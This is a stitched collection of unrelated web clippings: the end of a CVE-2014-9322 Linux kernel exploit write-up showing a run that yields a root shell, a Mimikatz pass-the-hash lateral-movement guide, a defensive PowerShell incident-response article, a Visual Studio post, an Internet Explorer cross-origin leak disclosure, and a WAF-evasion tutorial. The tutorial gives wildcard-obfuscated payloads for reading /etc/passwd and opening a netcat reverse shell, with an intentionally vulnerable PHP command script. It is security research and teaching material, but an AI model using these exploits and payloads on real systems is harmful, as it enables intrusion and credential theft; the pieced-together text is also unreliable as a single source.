          Number: 1 - kernel [3.11.10-301.fc20.x86_64] [pi3@localhost clean_9322]$ ./procrop 1 & [1] 5827 [pi3@localhost clean_9322]$ ...::: -=[ Exploit for CVE-2014-9322 ]=- :::... by Rafal 'n3rgal' Wojtczuk && Adam 'pi3' Zabrocki [+] Using kernel target: 3.11.10-301.fc20.x86_64 [pi3@localhost clean_9322]$ [pi3@localhost clean_9322]$ [pi3@localhost clean_9322]$ ps aux |grep procr pi3 5827 83.0 0.0 4304 320 pts/1 RL 23:12 0:05 ./procrop 1 pi3 5829 0.0 0.1 112660 916 pts/1 S+ 23:12 0:00 grep --color=auto procr [pi3@localhost clean_9322]$ ./p_write8 ...::: -=[ Exploit for CVE-2014-9322 ]=- :::... by Rafal 'n3rgal' Wojtczuk && Adam 'pi3' Zabrocki Usage: ./p_write8 
         
           Number: 1 - kernel [3.11.10-301.fc20.x86_64] [pi3@localhost clean_9322]$ [pi3@localhost clean_9322]$ ./p_write8 1 ...::: -=[ Exploit for CVE-2014-9322 ]=- :::... by Rafal 'n3rgal' Wojtczuk && Adam 'pi3' Zabrocki [+] Using kernel target: 3.11.10-301.fc20.x86_64 [+] mmap() memory in first 2GB of address space... DONE! [+] Preparing kernel structures... DONE! (ovbuf at 0x602140) [+] Creating LDT for this process... DONE! [+] Press enter to start fun-game... [exploit] pthread runningAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[1]+ Done ./procrop 1 Segmentation fault (core dumped) [pi3@localhost clean_9322]$ ls -al /tmp/pi3 -rwsrwsrwx 1 root root 8764 May 6 23:09 /tmp/pi3 [pi3@localhost clean_9322]$ id uid=1000(pi3) gid=1000(pi3) groups=1000(pi3) [pi3@localhost clean_9322]$ /tmp/pi3 sh-4.2# id uid=0(root) gid=0(root) groups=0(root),1000(pi3) sh-4.2# exit exit [pi3@localhost clean_9322]$ 
         
        
       
[/code]

References:  
1\) http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-
cve-2014-9322-linux-kernel-privilege-escalation/  
2\) https://rdot.org/forum/showthread.php?t=3341  
3\) https://www.exploit-db.com/exploits/36266/  
4\) http://blog.pi3.com.pl/?p=509  
5\) http://twitter.com/grsecurity/status/562363332079144960  
6\) http://twitter.com/grsecurity/status/562363788125831172  
7\) http://site.pi3.com.pl/exp/p\_cve-2014-9322.tar.gz  
8\) http://seclists.org/oss-sec/2014/q4/1052  
9\) http://grsecurity.net/pipermail/grsecurity/2010-April/001024.html

**UPDATE:** PCID based UDEREF was firstly introduced in August 2013 NOT in
February 2014.  
  
  
Best regards,  
Adam 'pi3' Zabrocki

Comments

  1. <img src='img/Temp2_3244.png' width='50' height='48' />
PaX Team on 07.04.2015

nice writeup ;\). a few comments:

1\. the PCID based UDEREF feature was released in August 2013 already. i’ve
wanted to document it ever since on our blog but somehow i always managed to
find something more important to do so far :P.

2\. Ingo’s old 4:4 patch did something similar at the time for i386, and its
performance impact wasn’t pretty \(not to mention the silently fixed security
bugs in it ;\).

3\. SMAP’s other weakness is that it’s controlled by EFLAGS.AC which is an
easy attack surface since EFLAGS is so often written. also on newer kernels
CR4 can be written on every context switch so cpu\_tlbstate.cr4 is a new
attack surface.

4\. you get RWX thread stacks usually due to the GNU\_STACK disaster which
glibc takes upon itself to spread to threads too.

cheers,  
PaX Team

  2. <img src='img/Temp2_3244.png' width='50' height='48' />
pi3 on 07.04.2015

Thanks for your comment and kind words\! <img src='img/Temp2_3245.png'
alt=':)' />

1\. So it is much earlier than I thought – sorry for wrong information on the
oss-sec ;/ I’ll fix it here.  
It would be really awesome if you find some time to write a few notes about
your experience and challenges with PCID based UDEREF <img
src='img/Temp2_3245.png' alt=':)' />  
2\. May you point me some links to it? It sounds interesting, I would be happy
to look at that work. Sounds interesting <img src='img/Temp2_3245.png'
alt=':)' />  
3\. Hm… interesting, AC flag weakness I was aware of, but didn’t know about
modern kernel changes on context switching – cpu\_tlbstate.cr4:

http://lxr.free-electrons.com/source/arch/x86/include/asm/tlbflush.h

It looks quite promising <img src='img/Temp2_3245.png' alt=':)' /> Since I
don’t work with Linux kernel at work anymore I lost ability to follow most of
the changes \(lack of time\). Especially from 3.xx I feel major changes in
kernel exploded <img src='img/Temp2_3245.png' alt=':)' />

4\. Ah… so that’s the mystery… When I was playing with a weak UDEREF I was
using sys\_clone\(\) instead of pthreads to bypass this problem. But I was
very surprised about pthreads, because nowadays multithreading is everywhere
and grsec/PaX is very popular on servers and nobody picked-up this problem.

Cheers,  
pi3

  3. <img src='img/Temp2_3244.png' width='50' height='48' />
PaX Team on 07.04.2015

  4. <img src='img/Temp2_3244.png' width='50' height='48' />
citypw on 07.05.2015

Hi pi3, it’s an awesome write-up\! Thanks for sharing such a great research….

There’s a typo error in the second-last paragraph of the chapter two:  
s/struct proc\_dir\_etry/struct proc\_dir\_entry/g

  5. <img src='img/Temp2_3244.png' width='50' height='48' />
pi3 on 07.05.2015

Thanks\! Typo fixed, I believe there could be much more of typo ;p

Leave a Reply

Name \(Required\)

Email Address \(Required\)

Website

CAPTCHA  
− 6 = one

# How to Pass-the-Hash with Mimikatz | Strategic Cyber LLC
**Created:**| _5/22/2015 4:15:43 PM_  
---|---  
**Updated:**| _5/22/2015 4:15:43 PM_  
**Author:**| __  
**Tags:**| _post-exploitation Memory_  
  

# How to Pass-the-Hash with Mimikatz

May 21, 2015

I’m spending a lot of time with mimikatz lately. I’m fascinated by how much
capability it has and I’m constantly asking myself, what’s the best way to use
this during a red team engagement?

A hidden gem in mimikatz is its ability to create a trust relationship from a
username and password hash. Here’s the mimikatz command to do this:

|  `sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:COMMAND`  
---|---  
The sekurlsa:pth command requires local administrator privileges. This command
spawns the process you specify and modifies its access token. The local
Windows system will still think the process was run by your current user. The
parts of the token designed to support single sign-on will reference the
username, domain, and password hash you provide.

If you use the above to spawn another payload \(e.g., Meterpreter, Beacon\);
your actions that attempt to interact with a remote network resource will use
the username, domain, and password hash you provide to authenticate.

In practice, spawning a new payload to pass-the-hash is a pain. It’s much
easier to spawn a bogus process \(e.g., calc.exe\) and steal its token.
Beacon’s steal\_token command will impersonate a token from another process.
The token stolen from our bogus process will continue to reference the
username, domain, and password hash you provide. Any actions to interact with
a remote resource, while Beacon holds this token, will pass the hash for us.

Let’s assume I have a foothold in a target environment and I’ve elevated my
privileges. Here’s how I’d use this for lateral movement with Beacon:

1\) Run hashdump to dump password hashes for the local users.

<img src='img/Temp2_4080.png' alt='hashdump' />

2\) Run **mimikatz sekurlsa::pth /user:Administrator /domain:. /ntlm:…
/run:”powershell -w hidden”**

<img src='img/Temp2_4079.png' alt='pth' />

_We do powershell -w hidden to create a process without putting a Window on
the desktop. Mimikatz doesn’t hide Windows for the processes it creates._

3\) Use **steal\_token 1234** to steal the token from the PID created by
mimikatz

<img src='img/Temp2_4081.png' alt='stealtoken' />

4\) Use **shell dir \\\TARGET\C$** to check for local admin rights

<img src='img/Temp2_4082.png' alt='admincheck' />

5\) Try one of the lateral movement recipes \(wmic, sc, schtasks, at\) from
this blog post to take control of the system.

<img src='img/Temp2_4078.png' alt='lateral' />

To get a feel for how this works, I’ve put together a video:

This method of pass-the-hash has several advantages over traditional pen
tester methods. Which advantage resonates with you will depend on the
situations you face.

When I work with a mature network defense team, I try to avoid non-
asynchronous communication. This means I can not speed up my Beacon to tunnel
PsExec or another Metasploit module through my Beacon. This interactive
communication will get caught right away. This plays well with an asynchronous
post-exploitation workflow.

This method also gives me a great deal of flexibility. I’m relying on Windows
to pass my credential material for me. What I do to interact with a remote
network resource is up to me. If I’m only interested in data, I can list and
copy files via a UNC path to the target. If I want to execute code, I have
options beyond the service control manager to do so. When dealing with a
mature target, this is important.

Finally, I prefer to use native tools over hacker tools to carry out my
actions. I favor native tools because they blend in better and they’re more
likely to work consistently. This method of pass-the-hash caters well to this
preference.

Posted in Red Team **|**

# PowerShell Magazine » Live Incident Response with PowerShell

**Created:**| _7/17/2014 5:11:24 PM_  
---|---  
**Updated:**| _7/17/2014 5:11:24 PM_  
**Author:**| __  
**Tags:**| _windows security incident response_  
  

# Live Incident Response with PowerShell

Posted by Emin Atac on July 17, 2014 Rate it

\(2 votes\)

377 views

We often see the offensive capabilities of PowerShell hit the headlines as it
is more attractive. It’s good to know and see what attackers do to penetrate
your network, execute code to remain undetected, move laterally, and steal
administrative credentials. Scary? Paradoxically malicious code cannot hide as
it needs to run. What can you do to protect yourself, your environment,
critical assets and your business? The preparation phase of incident response
is a key element in your defense.

First you should consider building barriers with multiple layers to prevent
incidents to happen. How?

You should plan carefully the configuration of your environment to slow down
attackers and limit the attack surface. You should also know your environment.

  * You should be able to build a whitelist of known good files. The built-in Get-FileHash cmdlet, introduced in PowerShell 4.0, can help. 
| `Get-FileHash` `C:\Windows\system32\ntoskrnl.exe`  
---|---  
<img src='img/Temp2_6305.png' alt='psautoruns1' />

  * Have network segmentation, enable and configure firewalls not only at the edge of your perimeter but also on workstations. You can use Group Policies to deploy firewall rules or the built-in \*- NetFirewall\* cmdlets from the NetSecurity module. 
| `Get-Command` `-Module` `NetSecurity`  
---|---  
  * Start to apply the least privilege principle by not turning off UAC \(User Account Control\) and let your users run their session with administrative privileges. If they run as standard users, the attacker will first have to trigger an elevation of privileges to gain administrative privileges.
  * Sign your code with a certificate so that you don’t have to lower the default execution policy of PowerShell. You can also use a Group Policy and Set-AuthenticodeSignature cmdlet. 
| `Get-Help` `about_Execution_Policies`  
---|---  
  * Whitelist what can be run. If you have Applocker, you should definitely leverage that control. PowerShell has a built-in Applocker module since version 2.0. 
| `Get-Command` `-Module` `Applocker`  
---|---  
<img src='img/Temp2_6308.png' alt='psautoruns2' />

If you’ve signed your code, you can use Publisher-based rules in Applocker:

<img src='img/Temp2_6303.png' alt='psautoruns3' />

  * Deploy an audit policy to be able to collect and monitor events.
  * Consider using the JEA \(Just Enough Admin\) kit to ease the deployment of WinRM constrained endpoints
  * Etc…  
While focused on PowerShell, there are other defenses that you should
implement \(like a deploying an Antivirus, EMET \(Enhanced Mitigation
Toolkit\)… Please also note that the above list is far from being exhaustive
and that these controls can be bypassed, defeated…

Having good defense in your “fortress“ isn’t enough as it can be breached from
the inside.

Zero-day or unknown vulnerabilities still exist but it’s more likely that your
users will be targeted as they are the weakest point in your environment even
if you have the best security trainings and awareness campaigns. So, **you
should assume breach** and that your Antivirus product won’t recognize the
threat. How do you defend yourself in this case?

The second key element in the preparation phase for incident response is that
you should consider building the capability to quickly respond to incidents.

You should have a process where you can quickly run code to hunt for malicious
activity in your environment. To spot the malicious activity, you should first
know what normal activity look like.

To quickly run code, you can leverage both PowerShell remoting and workflows
introduced in PowerShell 3.0 to parallelize the workload. An alternative to
workflows are runspaces.

Can I do live incident response with PowerShell? Of course. The SANS published
a white paper on Live Response using PowerShell. PowerShell MVP Matt Graeber
also developed some tools to help us do live memory analysis.

You can also track indicators of compromise that uses persistence in the
registry. A traditional well-known tool for this purpose is autoruns.exe from
Sysinternals.

To demonstrate what can be done to investigate malware persistence, I wrote a
PowerShell function that will go through the 192 launch points. You can find
the code here.

Get-PSAutoRun uses the same categories as autoruns.exe: Logon, Explorer Add-
ons, Scheduled Tasks, Services, Drivers, Codecs, LSA Providers,… just to name
a few.  

<img src='img/Temp2_6306.png' alt='psautoruns4' />

You can choose to either get everything using the -All parameter:

| `Get-PSAutorun` `-All` `| ``Format-Table` `-Property`
`Path,ImagePath,Category `  
---|---  
<img src='img/Temp2_6304.png' alt='psautoruns5' />

or specify a list of switches that match one or more categories:

| `Get-PSAutorun` `-Logon` `-LSAsecurityProviders` `| ``Format-Table`
`-Property` `Path,ImagePath,Category`  
---|---  
Whenever you specify the -All parameter, any specific category you mentioned
is ignored allowing to return all autoruns.

There are also two additional parameters that you may leverage when
investigating malware persistence. You may want to get MD5, SHA1 and SHA2
hashes of files and know whether they are digitally signed or not.

| `Get-PSAutorun` `-All` `-ShowFileHash` `-VerifyDigitalSignature`  
---|---  
<img src='img/Temp2_6307.png' alt='psautoruns6' />

You get the MD5, SHA1 and SHA256 properties when you specify the -ShowFileHash
parameter and the Signed property with the -VerifyDigitalSignature parameter.

What’s next? Malware persistence isn’t the only thing to look at. You should
check for files like the hosts file in C:\Windows\system32\drivers\etc\ being
hijacked. You should look for recent suspicious events in the logs like the
“audit log was cleared”. You can also check if the firewall is on and if the
rules enabled match what is in your baseline of known good rules.

All this post-mortem controls aren’t enough to keep the bad guys out of your
network if you don’t have a good patch management policy in place to fix known
vulnerabilities in the operating system and all your applications. You can
find a list of 20 Critical Security Controls for Effective Cyber Defense on
this page: http://www.sans.org/critical-security-controls.

My wish for the future: I’d like to see more people sharing code about how
they defend their network or write PowerShell code for forensics and live
incident response.

### Share this:

### Like this:

Loading...

# Target Windows XP in Visual Studio 11 Beta using the Visual Studio 2010
compiler and libraries - Visual C++ Team Blog - Site Home - MSDN Blogs

**Created:**| _4/20/2012 7:07:16 PM_  
---|---  
**Updated:**| _4/20/2012 7:07:16 PM_  
**Author:**| __  
**Tags:**| _windows programming_  
  

### Target Windows XP in Visual Studio 11 Beta using the Visual Studio 2010
compiler and libraries

Rate This  
<img src='img/Temp2_7921.png' /><img src='img/Temp2_7922.png' /><img
src='img/Temp2_7923.png' /><img src='img/Temp2_7924.png' /><img
src='img/Temp2_7923.png' /><img src='img/Temp2_7924.png' /><img
src='img/Temp2_7923.png' /><img src='img/Temp2_7924.png' /><img
src='img/Temp2_7923.png' /><img src='img/Temp2_7924.png' />

<img src='img/Temp2_7925.png' /> vcblog

18 Apr 2012 1:22 PM

  * 48

In my previous blog I talked about how in Visual Studio 11 we have eliminated
the need to convert your Visual Studio 2010 C++ projects in order to adopt the
new IDE. The blog also mentioned that you can build your projects using Visual
Studio 2010 compiler \(tools and libraries\) from within Visual Studio 11
using the multi-targeting feature. This means while you adapt to using the new
compiler and while your 3rd party vendors provide you with binaries compatible
with the Visual Studio 11 compiler \(tools and libraries\) you can leverage
the new Visual Studio 11 IDE without disrupting your ship cycle. Just set the
platform toolset property to v100 in the property pages \(requires Visual
Studio 2010 to be installed side-by-side with Visual Studio 11\). Since no
upgrade of your project file is necessary you can continue to load the
project/solution in Visual Studio 2010 as well.

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-65-69/7444.BlogPic.png' />

We have recently received feedback from a number of customers about the
inability to build binaries that run on Windows XP with the Beta version of
the Visual Studio 11 compiler and libraries. This is because the C++ compiler
and libraries in Visual Studio 11 Beta leverages platform capabilities only
available in Windows Vista and higher. However, if support for Windows XP
targeting is important to you, then you can use Visual Studio 11 Beta’s multi-
targeting capability described above in order to employ the Visual Studio 2010
compiler and libraries to build applications and libraries than execute on
Windows XP. This enables you to enjoy the new features of the Visual Studio 11
Beta environment without sacrificing backward compatibly in your
applications\!

Thanks,

Amit Mohindra

C++Team

# Security: Minor leak, major headache

**Created:**| _10/30/2010 5:13:05 PM_  
---|---  
**Updated:**| _10/30/2010 5:15:20 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web pentest_  
  

## THURSDAY, OCTOBER 21, 2010

### Minor leak, major headache

I find this bug interesting, because at first it looks like a relatively minor
cross-origin leak. But with a bit of investigation, it has major consequence.  
  
The bug is specific to Internet Explorer, and still seems unfixed \(in stable
versions\) at the time of writing. I told Microsoft about it back in 2008.
Therefore this disclosure is **not an 0-day** , but more like a 600-day.  
  
The bug is pretty simple: IE supports a `window.onerror` callback which fires
whenever a Javascript parse or runtime error occurs. Trouble is, it fires even
if `www.evil.com` registers its own `window.onerror` handler and then uses
`<script src="http://www.bank.com/">`. We'll demonstrate the consequence of
this later.  
  
The bug has a very interesting history, which is worth briefly outlining here:  

  * 2006: Possible original discovery of theft of sensitive data aspect, credit **Filipe Almeida**.
  *   

  * Dec 2006: Jeremiah Grossman demonstrates login determination by profiling cross-origin error messages:http://jeremiahgrossman.blogspot.com/2006/12/i-know-if-youre-logged-in-anywhere.html.
  *   

  * Unknown, 2007?: Firefox fixes the issue.
  *   

  * Dec 2008: I discover that a redirect bypasses the Firefox protection:http://scarybeastsecurity.blogspot.com/2008/12/firefox-cross-domain-text-theft.html. It is fixed pretty quickly.
  *   

  * Dec 2008: **Michal Zalewski** notes that my Firefox demo works verbatim in IE. Microsoft informed.
  *   

  * Oct 2010: full disclosure of Internet Explorer variant.

So why is this a serious bug? Well, Javascript error messages are usually
pretty terse but in at least one case, cross-origin content is echoed back to
the attacker: variable names. e.g. `'blah' is not defined`.  
  
So if the cross-origin text looks like a Javascript variable reference, then
the attacker has a very useful leak\!  
  
Here is a proof-of-concept against Google Reader, which works by stealing
cross-origin content which happens to be an anti-XSRF token:  
  
http://scary.beasts.org/misc/reader.html  
  
As it happens, the Reader product deployed a change which detects the
vulnerable User-Agent string \(Internet Explorer\) and uses a workaround. So
the PoC is neutered. This is a shame because the PoC used to force your friend
to subscribe to a goat-farming feed against their will. For now, you'll have
to locate an alternate attack vector for this vulnerability -- do let me know
what you find via a comment.  
  
It's worth closing with some notes that this area is ripe for further
research. There are a varied number of text structures which can be stolen
\(iteratively if necessary\) with this trick:  

  * a,b,c -- i.e. the CSV syntax
  * The b in a:b
  * a.b.c
  * The b in \{a:b\}
  * Expression constructs such as a/b/c
  * Constructs like the above, if wrapped in \(\) or \[\] etc.

To experiment with what Javscript error message you might see with a given
piece of cross-origin text, you can use:  
  
http://scary.beasts.org/misc/onerr.html  
  
\(Only works in browsers with window.onerror, such as IE\).  
  
Please leave a comment if you have more constructs which can be stolen; or
more examples of sites where stuff can be stolen from.

# Web Application Firewall \(WAF\) Evasion Techniques – secjuice™ – Medium

**Created:**| _9/23/2018 8:48:41 AM_  
---|---  
**Updated:**| _9/23/2018 8:48:41 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec_  
  

  

<img src='img/Temp2_9401.png' width='75' height='28' /><img
src='img/1*_SOV6E0Xg-UmElcVRr484Q.jpeg' width='1000' height='387' />

A typical kit used by pentesters during a WAPT :\)

# Web Application Firewall \(WAF\) Evasion Techniques

## I can read your passwd file with: “`/???/??t `/???/??ss??”. Having fun with
Sucuri WAF, ModSecurity, Paranoia Level and more…

It’s not so rare to discover a **Remote Command Execution** vulnerability in a
web application, and it is confirmed by the “OWASP Top 10 application security
risk 2017” that puts “Injection” at the first position:

_Injection flaws, such as SQL, NoSQL,_**_OS_** _, and LDAP injection, occur
when untrusted data is sent to an interpreter as part of a command or query.
The attacker’s hostile data can trick the interpreter into_** _executing
unintended commands_** _or accessing data without proper authorization._

All moderns Web Application Firewall are able to intercept \(and even block\)
RCE attempts, but when it happens in a Linux system we’ve got **an incredible
amount of ways to evade a WAF rule set**. The biggest friend of a penetration
tester is not a dog… its name is “wildcard”. Before starting doing WAPT stuff,
I want to show you things may you don’t know about bash and wildcards.

### Things may you don’t know about wildcards

Bash standard wildcards \(also known as **globbing patterns**\) are used by
various command-line utilities to work with multiple files. For more
information on standard wildcards, refer to the manual page by typing `man 7
glob`. Not everyone knows that there’re lots of bash syntaxes that makes you
able to **execute system commands** just using the question mark “?”, the
forward slash “/”, numbers, and letters. You can even enumerate files and get
their contents using the same amount of characters. How? I give you some
examples:

Instead executing `ls` command, you can use the following syntax:  
`/???/?s`

<img src='img/Temp2_9399.png' width='75' height='8' /><img
src='img/1*mhwhvg9PZX4vOnm634BoZA.png' width='700' height='88' />

the “ls” help output executed using /???/?s syntax

With this kind of syntax, you could execute basically everything you want.
Let’s say that your vulnerable target is behind a Web Application Firewall,
and this WAF has a rule that blocks all requests containing `/etc/passwd` or
`/bin/ls` inside the value of a GET parameter or inside the body in a POST
request. If you try to make a request like `/?cmd=cat+/etc/passwd` it’ll be
blocked by the target WAF and your IP will be banned forever and tagged as “
_yet another f\*\*\*in’ redteamer_ ”. But you have a secret weapon in your
pocket called wildcard. If you are lucky \(not so lucky, we’ll see after\) the
target WAF doesn’t have a “paranoia level” adequate in order to block
characters like ? and / inside a query-string. So you can easily make your
request \(url-encoded\) like this:`/?cmd=%2f???%2f??t%20%2f???%2fp??s??`

<img src='img/Temp2_9398.png' width='75' height='33' />

/bin/cat /etc/passwd executed with wildcards

As you can see in the screenshot above, there’re 3 errors “ _/bin/cat \*: Is a
directory_ ”. This happens because `/???/??t` can be “translated” by the
globbing process to `/bin/cat` but also `/dev/net` or `/etc/apt` , etc…

The question mark wildcard represents only one character which can be any
character. Thus in case you know a part of a filename but not one letter, then
you could use this wildcard. For example `ls *.???` would list all files in
the current directory that have an extension of 3 characters in length. Thus
files having extensions such as .gif , .jpg , .txt would be listed.

Using this wildcard you could execute a reverse shell using netcat. let’s say
that you need to execute a reverse shell to 127.0.0.1 at port 1337 \(usually
`nc -e /bin/bash 127.0.0.1 1337`\), you can do it with a syntax like:  
`/???/n? -e /???/b??h 2130706433 1337`

Converting the IP Address 127.0.0.1 in “long” format \(2130706433\), you can
avoid using “dot” characters in your HTTP request.

In my kali I need to use `nc.traditional` instead of `nc` that doesn’t have
the `-e` parameter in order to execute `/bin/bash` after connect. The payload
become something like this:

[code]

    /???/?c.??????????? -e /???/b??h 2130706433 1337
[/code]

<img src='img/Temp2_9407.png' width='75' height='46' />

executing a reverse shell using wildcard

Following a little summary of the two commands that we’ve just seen:

Standard: `/bin/nc 127.0.0.1 1337`  
Evasion:`/???/n? 2130706433 1337`  
Used chars: `/ ? n [0-9]`

Standard: `/bin/cat /etc/passwd`  
Evasion: `/???/??t /???/??ss??`  
Used chars: `/ ? t s`

Why using `?` instead of `*`? Because the asterisk \(\*\) is widely used for
comment syntax \(something like /\* hey I’m a comment \*/\) and many WAF
blocks it in order to avoid SQL Injection… something like
UNION+SELECT+1,2,3/\*

Enumerate files and directories using `echo`? yes, you can. The `echo` command
could enumerate files and directories on file system using wildcard. For
example: `echo /*/*ss*` :

<img src='img/Temp2_9403.png' width='75' height='3' />

enumerate files and directories using echo command

This could be used on a RCE in order to get files and directories on the
target system, for example:

<img src='img/Temp2_9400.png' width='75' height='51' />

enumerate files and directories through a WAF

But **why using wildcard \(and in particular the question mark\) can evade a
WAF rule set?** Let me start with Sucuri WAF\!

### Sucuri WAF evasion

<img src='img/Temp2_9406.png' width='75' height='43' />

Test evasion technique on Sucuri WAF

Which is the best way to test a WAF Rule Set? **Create the most vulnerable PHP
script in the world** and try all possible techniques\! In the screenshot
above we have: in the top left pane there’s my ugly web application \(it’s
just a PHP script that executes commands\):

[code]

    <?php  
          echo 'ok: ';  
          print_r($_GET['c']);  
          system($_GET['c']);
[/code]

In the bottom left pane you can see a test of Remote Command Execution on **my
website protected by Sucuri WAF**\(test1.unicresit.it\). As you can see Sucuri
blocks my request with reason “ _An attempted RFI/LFI was detected and
blocked_ ”. This reason is not completely true but the good news is that the
WAF blocked my attack \(I don’t even know why a firewall should tell me the
reason for a blocked request, but there should be a reason… for sure\).

The right pane is the most interesting of all, because it shows the same
request but using the “question mark” as a wildcard. The result is
frightening… The **request is accepted by Sucuri WAF** and my application
executes the command that I put in _c_ parameter. Now **I can read the
/etc/passwd** file and even more… I can read the PHP source of application
itself, I can execute reverse shell using `netcat`\(or as I love to call it:
`/???/?c`\), or I could execute programs like `curl`or `wget` in order to
reveal the real IP Address of the web server that make me able to bypass the
WAF by connecting directly to the target.

I don’t know if this happens because I missed something on my Sucuri WAF
configuration, but it not seems… I’ve asked at Sucuri if it’s an attended
behavior and if they configure a default “low paranoia level” in order to
avoid false positives, but I’m still waiting for an answer.

Please, keep in mind that I’m doing this test using a stupid PHP script that
doesn’t represent a real scenario. IMHO you shouldn’t judge a WAF based on how
many requests it blocks, and Sucuri is not less secure just because can’t
totally protect an intentionally vulnerable website. Necessary clarification
done\!

### ModSecurity OWASP CRS 3.0

I really love ModSecurity, I think that the new libmodsecurity \(v3\) used
with Nginx and the Nginx connector is the best solution that I have ever used
in order to deploy a Web Application Firewall. I’m also a big fan of the
**OWASP Core Rule Set\!** I use it everywhere but, if you don’t know well this
rule set, you need to pay attention to a little thing called love.. ehm sorry
**Paranoia Level**\!

### Paranoia Level for dummies

The following “schema” that you can find here is a good overview of **how each
level works** on**“** REQUEST PROTOCOL ENFORCEMENT” rules. As you can see with
a PL1 a query string can contains only ASCII characters in the range 1–255 and
it becomes more restrictive until the PL4 that blocks everything that isn’t an
ASCII character in a very small range.

[code]

    # -=[ Targets and ASCII Ranges ]=-  
    #  
    # **920270: PL1**  
     # REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES  
    # ASCII: 1-255  
    # Example: Full ASCII range without null character  
    #  
    # **920271: PL2**  
     # REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES  
    # ASCII: 9,10,13,32-126,128-255  
    # Example: Full visible ASCII range, tab, newline  
    #  
    # **920272: PL3**  
     # REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY  
    # ASCII: 32-36,38-126  
    # Example: Visible lower ASCII range without percent symbol  
    #  
    # **920273: PL4**  
     # ARGS, ARGS_NAMES and REQUEST_BODY  
    # ASCII: 38,44-46,48-58,61,65-90,95,97-122  
    # Example: A-Z a-z 0-9 = - _ . , : &  
    #  
    # **920274: PL4**  
     # REQUEST_HEADERS without User-Agent, Referer, Cookie  
    # ASCII: 32,34,38,42-59,61,65-90,95,97-122  
    # Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE
[/code]

let’s do some test with all levels\!

### Paranoia Level 0 \(PL0\)

A paranoia level 0 means that many rules are disabled, so it’s absolutely
normal that our payload can lead to a Remote Command Execution without any
problem. Don’t panic :\)

[code]

    SecAction "id:999,\  
    phase:1,\  
    nolog,\  
    pass,\  
    t:none,\  
    setvar:tx.paranoia_level=0"
[/code]

<img src='img/Temp2_9405.png' width='75' height='30' />

RCE accepted by ModSecurity with PL0 \(don’t panic, it’s ok\)

A paranoia level 1 in ModSecurity means “flawless rules of high quality with
virtually no false positives” but it’s also too much permissive. You can find
a list of rules grouped by paranoia level at netnea website:
https://www.netnea.com/cms/core-rule-set-inventory/

### Paranoia Level 1 and 2 \(PL1, PL2\)

I’ve grouped levels 1 and 2 because their differences \(as you can see in the
schema above\) doesn’t affect our goal, all behaviors are the same as
described below.

[code]

    SecAction "id:999,\  
    phase:1,\  
    nolog,\  
    pass,\  
    t:none,\  
    setvar:tx.paranoia_level=1"
[/code]

with PL1 \(and PL2\) ModSecurity obviously blocks my request for “**OS File
Access Attempt** ” \(930120\). But what if I use the question mark as a
wildcard? The request is accepted by my WAF:

<img src='img/Temp2_9404.png' width='75' height='40' />

with PL1 and PL2 my RCE attack was not blocked and I can read /etc/passwd

This happens because the “question mark”, the “forward slash” and the “space”
are in the accepted range of characters on rules 920271 and 920272. Moreover,
using “question marks” instead of command syntax make me able to evade “OS
Files” filters that intercept common commands and files of Operating Systems
\(such as /etc/passwd in our case\).

### Paranoia Level 3 \(PL3\)

This level of paranoia has a plus: it blocks request containing characters
like “?” more than _n_ times. In fact, my requests have been blocked as
“**Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters**
”. this is cool\! nice job ModSecurity, you win a teddy bear\! 🐻 But
unfortunately, **my web app is so ugly and vulnerable** that I can use less
question mark and read the passwd file anyway using this syntax:
`c=/?in/cat+/et?/passw?`

<img src='img/Temp2_9402.png' width='75' height='31' />

As you can see, using just 3 “?” question mark I can evade this paranoia level
and read the passwd file inside the target system. OK, this doesn’t mean that
you have to set your paranoia level to 4 always and unconditionally. Keep in
mind that I’m testing it with a really stupid PHP script that doesn’t
